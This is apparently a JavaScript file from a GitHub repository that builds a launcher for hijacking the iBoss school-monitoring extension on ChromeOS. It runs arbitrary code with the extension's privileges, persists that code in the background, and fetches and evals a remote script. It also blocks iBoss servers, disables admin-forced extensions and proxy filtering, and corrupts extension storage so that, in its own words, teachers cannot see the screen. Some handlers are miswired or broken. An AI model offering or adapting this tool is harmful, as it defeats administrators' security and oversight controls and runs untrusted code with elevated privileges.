Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
3kh0
GitHub Repository: 3kh0/ext-remover
Path: blob/main/uboss.js
46701 views
1
var chrome = opener.chrome;
2
document.write("<body></body>");
3
function add(type, parent) {
4
return (parent || document.body).appendChild(document.createElement(type));
5
}
6
document.title = "[uboss]";
7
add(
8
"style"
9
).innerHTML = ` pre,textarea{display:inline-block;height:400px}*{box-sizing:border-box}body{padding:10px;font-size:110%;color:#349633 ;background-color:#2e2e31}h1{text-align:center;font-size:70px}h2{text-align:left;font-size:175%}button,input,pre,select,textarea{color:#000;font-size:15px}h1,h2,h3,button,label,p,select{font-family:Roboto,sans-serif}hr{border:none;border-bottom:3px solid #fff}input,kbd,pre,textarea{font-family:monospace;border:none}input,select,textarea{background-color:#fff;border-radius:10px;pdding:10px 17px;border:none}button,input{background-color:#fff;padding:10px 20px;margin:0 5px 5px 0}input{width:600px;border-radius:10px}textarea{white-space:pre;float:left;width:60%;border-radius:10px 0 0 10px;resize:none;background-color:#99edc3;margin-bottom:15px}pre{border-radius:0 10px 10px 0;padding:8px;float:right;margin:0 0 25px;width:40%;overflow-y:scroll;word-break:break-all;white-space:pre-line;background-color:#1c8e40}button{border:none;border-radius:10px;cursor:pointer;transition:filter 250ms}button:hover{filter:brightness(.8)}.gg{background-color:#99edc3}a{color:#4fef7c;transition:color 250ms}a:hover{color:#1c8e40} `;
10
add("h1").innerHTML = "[uboss] Launcher for ChromeOS";
11
add("h3").innerHTML =
12
"Launcher made by Bypassi, inspired by Eli from TN, user interface made by Mr. PB, DNS hosted by The Greatest Giant";
13
add("p").innerHTML =
14
'<a href="http://ssl.google-analytics.com/ga.js">Source code</a>';
15
add("hr");
16
var run_code = add("div");
17
add("h2", run_code).textContent = "Run your own code";
18
add("p", run_code).textContent =
19
'Put your script here to run it while pretending to be the iBoss extension. You will be able to access most "chrome" scripts and have other privileges such as access to all websites. Note that your code is saved automatically.';
20
var run_code_input = add("textarea", run_code);
21
22
run_code_input.placeholder = "Input goes here...";
23
run_code_input.style = "font-color: black;";
24
run_code_input.spellcheck = false;
25
run_code_input.onkeyup = function () {
26
localStorage.swamp_code = this.value;
27
};
28
run_code_input.onkeydown = function (event) {
29
if (event.key === "Tab") {
30
event.preventDefault();
31
document.execCommand("insertText", false, " ");
32
}
33
};
34
var run_code_output = add("pre", run_code);
35
run_code_output.textContent = "Output shows here:\n";
36
console.log = function (e) {
37
run_code_output.textContent += "\n" + e;
38
};
39
var run_button = add("button", run_code);
40
run_button.textContent = "Run on this page";
41
run_button.onclick = function () {
42
localStorage.swamp_code = run_code_input.value;
43
console.log("");
44
try {
45
eval(run_code_input.value);
46
console.log("Code ran successfully");
47
} catch (err) {
48
console.log(err);
49
}
50
};
51
var run_background_button = add("button", run_code);
52
run_background_button.textContent = "Run as background";
53
run_background_button.onclick = function () {
54
localStorage.swamp_code = run_code_input.value;
55
localStorage.swamp_background = true;
56
localStorage.swamp_reloaded = true;
57
};
58
add("p", run_code).innerHTML =
59
"Concerning the two buttons above: Running on this page is pretty self explanatory. The script only takes effect when this page is open, which makes it a pain to use [swamp] at places such as school where you can't set it up. But running as background lets the script run even with the tab closed. Basically, it means that the script is being run at the highest level of a Chrome extension, in the background, so it persists until Chrome is fully restarted (with chrome://restart for example). <b> If you don't get a weird full-screen alert box within ~15 seconds, then your script was not run.</b>";
60
add("hr");
61
var script_database = [
62
{ name: "Select an option...", code: `` },
63
{
64
name: "Display iBoss policy",
65
code: `chrome.runtime.getManifest().permissions.forEach(e=>{console.log(e)})`,
66
},
67
{
68
name: "Emulate DNS and block all ibosscloud.com requests",
69
code: `chrome.webRequest.onBeforeRequest.addListener( function () { return { redirectUrl: "javascript:" }; }, { urls: ["*://*.ibosscloud.com/*"], }, ["blocking"] );`,
70
},
71
{
72
name: "Bookmarklet emulator when a Google tab is loaded",
73
code: `chrome.tabs.onUpdated.addListener(function (tabId, changeInfo) { if (changeInfo.status == "complete") { chrome.tabs.executeScript( tabId, { code: \` if (location.hostname.endsWith("google.com")) { // Use your own code below: alert("Testing!") } \` } ); } });`,
74
},
75
{
76
name: "Open a cool-looking window",
77
code: `chrome.windows.create({ url: "https://google.com", type: "popup" });`,
78
},
79
{
80
name: "Toggle all other admin-forced extensions when the iBoss icon is clicked",
81
code: `chrome.browserAction.onClicked.addListener(function () {\n chrome.management.getAll(function () {\n arguments[0].forEach(function (extension) {\n if ("admin" === extension.installType && chrome.runtime.id !== extension.id) chrome.management.setEnabled(extension.id, !extension.enabled); \n}); \n}); \n});`,
82
},
83
{
84
name: "Run custom code when the iBoss icon is clicked",
85
code: `chrome.browserAction.onClicked.addListener(function () { eval(prompt("Code, please?")); }); \n// Something like this could be useful for running in the background...`,
86
},
87
{
88
name: "Toggle emulated DNS unblocker when the iBoss icon is clicked",
89
code: `function block() {\n return {\n redirectUrl: "javascript:" \n}; \n} var blocking = false; function toggle() {\n if (blocking) {\n chrome.webRequest.onBeforeRequest.removeListener(block); \n} else {\n chrome.webRequest.onBeforeRequest.addListener( block, { urls: ["*://*.ibosscloud.com/*"], }, ["blocking"] ); } blocking = !blocking; alert("Emulated DNS unblocker is " + (blocking ? "on!" : "off!")); } toggle(); chrome.browserAction.onClicked.addListener(toggle); // This is also only useful if you run it in the background`,
90
},
91
{
92
name: "Fetch a third-party script",
93
code: `fetch(\n"https://example.com/example.js"\n).then(e=>{e.text().then(f=>{\neval(f)}\n)})`,
94
},
95
];
96
var interesting_scripts = add("div");
97
add("h2", interesting_scripts).textContent = "Interesting scripts";
98
add("p", interesting_scripts).innerHTML =
99
"Some useful scripts for the textbox above. <b>DM Aka-unblock#5094 on Discord to suggest new ones (or general improvements to this launcher).</b>";
100
var interesting_scripts_select = add("select", interesting_scripts);
101
script_database.forEach(function (script) {
102
var interesting_scripts_label = add("option", interesting_scripts_select);
103
interesting_scripts_label.textContent = script.name;
104
interesting_scripts_label.value = script.code;
105
});
106
interesting_scripts_select.onchange = function () {
107
run_code_input.value = interesting_scripts_select.value;
108
run_code.scrollIntoView();
109
};
110
add("p", interesting_scripts).textContent =
111
"By the way, if you find a URL like *google.com* in your Note that your policy may be inaccurate if you are using the hard-disable option or are signed into another Google account.";
112
add("p", interesting_scripts).textContent =
113
"Also, if you turned on the DNS emulator and previously blocked sites that you've visited before aren't loading, try adding a question mark to the end of the URL, which may clear cache. DNS unblocking may not work for blocking requests from other admin-installed extensions.";
114
add("p", interesting_scripts).textContent =
115
"And please read the thing about background running earlier in the page, because that could be useful for making some of these scripts run at school.";
116
add("hr");
117
var soft_disable = add("div");
118
add("h2", soft_disable).textContent = "Soft-Disable iBoss";
119
add("p", soft_disable).innerHTML =
120
"Soft-Disable for iBoss, this will make iBoss not function until restart similar to the button below. <b> This is recommended if you don't want to permanently disable iBoss</b>";
121
var soft_disable_button = add("button", hard_disable);
122
soft_disable_button.textContent = "Soft-Disable iBoss";
123
soft_disable_button.onclick = function () {
124
chrome.extension.getBackgroundPage().close();
125
};
126
var hard_disable = add("div");
127
add("h2", hard_disable).textContent = "Hard-Disable iBoss";
128
add("p", hard_disable).innerHTML =
129
'This will disable iBoss and persist until you powerwash your device or undo it with the second button below. This will also prevent your teachers from seeing your screen, so be careful not to get in trouble. If you want something less permanent, use the bottom button on [swamp] or run the DNS emulator from the "interesting scripts" section (preferably as background). Hard-disable works by messing with cookies that iBoss needs to run. <b>DM Aka on Discord if you find a cooler way to do this</b>.';
130
var hard_disable_button = add("button", hard_disable);
131
hard_disable_button.textContent = "Hard-Disable iBoss";
132
hard_disable_button.onclick = function () {
133
try {
134
for (let i = 0; i < 5000; i++) {
135
chrome.storage.local.set(
136
{ name: `x${i}`, eyeCount: "_".repeat(5000) },
137
function () {}
138
);
139
}
140
chrome.runtime.reload();
141
} catch (err) {
142
alert(err);
143
}
144
};
145
add("br", hard_disable);
146
var re_enable_button = add("button", hard_disable);
147
re_enable_button.textContent = "Undo Hard-Disable";
148
re_enable_button.onclick = function () {
149
for (var i = 0; i < localStorage.length; i++)
150
localStorage[localStorage.key(i)] = "";
151
localStorage.swamp_reloaded = true;
152
chrome.runtime.reload();
153
};
154
add("br");
155
add("hr");
156
var remove_extensions = add("div");
157
add("h2", remove_extensions).innerHTML =
158
'Disable Chrome Extensions similarly to <a href="https://compactcow.com/ltbeef">LTBEEF</a>';
159
add("p", remove_extensions).textContent =
160
"LTBEEF was fixed by Chrome in v106, so this is a great alternative that works in the latest version.";
161
add("p", remove_extensions).innerHTML =
162
'This allows you to emulate the switch in chrome://extensions and fully disable any extension by typing its ID in the textbox below (you can seperate multiple by commas). The ID can be found by going to chrome://extensions, clicking "Details" for the extension, and copying the text after the = in the URL. <b>"Removing" iBoss is not a good idea since it will stop this page from working. However, it is the only truly full iBoss bypass on this page. It can be reversed by visiting chrome://restart.</b>';
163
var remove_extensions_input = add("input", remove_extensions);
164
remove_extensions_input.placeholder = "Extension IDs here...";
165
remove_extensions_input.type = "text";
166
var remove_extensions_button = add("button", remove_extensions);
167
remove_extensions_button.textContent = "Disable this extension";
168
remove_extensions_button.onclick = function () {
169
remove_extensions_input.value.split(",").forEach(function (id) {
170
if (id === chrome.runtime.id) {
171
alert(
172
"You tried to remove iBoss, which would stop this launcher from working. As such, the extension was not removed. Please use the button at the bottom of the page if you would like to do this."
173
);
174
} else {
175
chrome.management.setEnabled(id.trim(), false);
176
}
177
});
178
remove_extensions_input.value = "";
179
remove_extensions_input.placeholder = "Disabled!";
180
};
181
var revive_extensions_button = add("button", remove_extensions);
182
revive_extensions_button.textContent = "Revive this extension";
183
revive_extensions_button.onclick = function () {
184
remove_extensions_input.value.split(",").forEach(function (id) {
185
chrome.management.setEnabled(id.trim(), true);
186
});
187
remove_extensions_input.value = "";
188
remove_extensions_input.placeholder = "Revived!";
189
};
190
add("br", remove_extensions);
191
add("p", remove_extensions).textContent =
192
"Or you can try the more automatic broad options:";
193
chrome.management.getAll(function (extensions) {
194
extensions.forEach(function (extension) {
195
var button = add("button");
196
button.textContent = extension.name;
197
button.id = extension.id;
198
function toggle() {
199
var toggle = false;
200
if (toggle) {
201
chrome.management.setEnabled(this.id, true);
202
} else {
203
chrome.management.setEnabled(this.id, false);
204
}
205
toggle = !toggle;
206
}
207
button.onclick = toggle();
208
});
209
});
210
var remove_all_button = add("button", remove_extensions);
211
remove_all_button.textContent = "Disable all except iBoss";
212
remove_all_button.onclick = function () {
213
chrome.management.getAll(function () {
214
arguments[0].forEach(function (extension) {
215
if (chrome.runtime.id !== extension.id)
216
chrome.management.setEnabled(extension.id, false);
217
});
218
});
219
};
220
var remove_all_admin_button = add("button", remove_extensions);
221
remove_all_admin_button.textContent = "Disable all admin-forced except iBoss";
222
remove_all_admin_button.onclick = function () {
223
chrome.management.getAll(function () {
224
arguments[0].forEach(function (extension) {
225
if (
226
"admin" === extension.installType &&
227
chrome.runtime.id !== extension.id
228
)
229
chrome.management.setEnabled(extension.id, false);
230
});
231
});
232
};
233
var revive_all_button = add("button", remove_extensions);
234
revive_all_button.textContent = "Revive all";
235
revive_all_button.onclick = function () {
236
chrome.management.getAll(function () {
237
arguments[0].forEach(function (extension) {
238
chrome.management.setEnabled(extension.id, true);
239
});
240
});
241
};
242
add("br", remove_extensions);
243
add("p", remove_extensions).textContent = " Remove iBoss:";
244
var remove_goguardian_button = add("button", remove_extensions);
245
remove_goguardian_button.textContent = "Disable iBoss";
246
remove_goguardian_button.onclick = function () {
247
if (
248
confirm(
249
"Are you sure you want to disable iBoss? This will close the [swamp] launcher until chrome://restart is visited."
250
)
251
)
252
chrome.management.setEnabled(chrome.runtime.id, false);
253
};
254
var iboss_proxy = add("div");
255
add("h2", iboss_proxy).textContent = "Disable iBoss Proxying";
256
add("p", iboss_proxy).innerHTML =
257
"This is requred if you want iBoss to stop blocking sites by network, this will also close the background page, meaning if you haven't already disabled iBoss, this will do it. <b> DM 'Aka, but nice#5094' on discord if you have a better way of doing this, this wouldn't be possible without the work of SpaceSaver#2992";
258
var iboss_proxy_button = add("button", iboss_proxy);
259
iboss_proxy_button.textContent = "Disable iBoss-Proxying";
260
hard_disable_button.onclick = async function () {
261
var currentproxy = await getCurrentProxy();
262
try {
263
chrome.extension.getBackgroundPage().close();
264
} catch {}
265
return await new Promise((resolve) => {
266
chrome.proxy.settings.set(
267
{ scope: "regular", value: { mode: "system" } },
268
resolve
269
);
270
});
271
if (currentproxy["mode"] == "system") {
272
chrome.runtime.reload();
273
}
274
async function getCurrentProxy() {
275
return await new Promise((resolve) => {
276
chrome.proxy.settings.get({ incognito: false }, resolve);
277
})["value"];
278
}
279
chrome.extension
280
.getBackgroundPage()
281
.alert("iBoss Proxying has been turned off");
282
};
283
if (location.href.endsWith("?reset")) {
284
delete localStorage.swamp_background;
285
history.replaceState("", "", "/background.html");
286
}
287
if (localStorage.swamp_reloaded) {
288
chrome.tabs.create({ url: chrome.runtime.getURL("manifest.json") });
289
}
290
if (localStorage.swamp_code) {
291
run_code_input.value = localStorage.swamp_code;
292
}
293
if (
294
localStorage.swamp_background
295
? opener.chrome.extension.getBackgroundPage.localStorage
296
: (window = run_code_input)
297
) {
298
alert("Running your [swamp] script as background...");
299
run_button.click();
300
}
301
302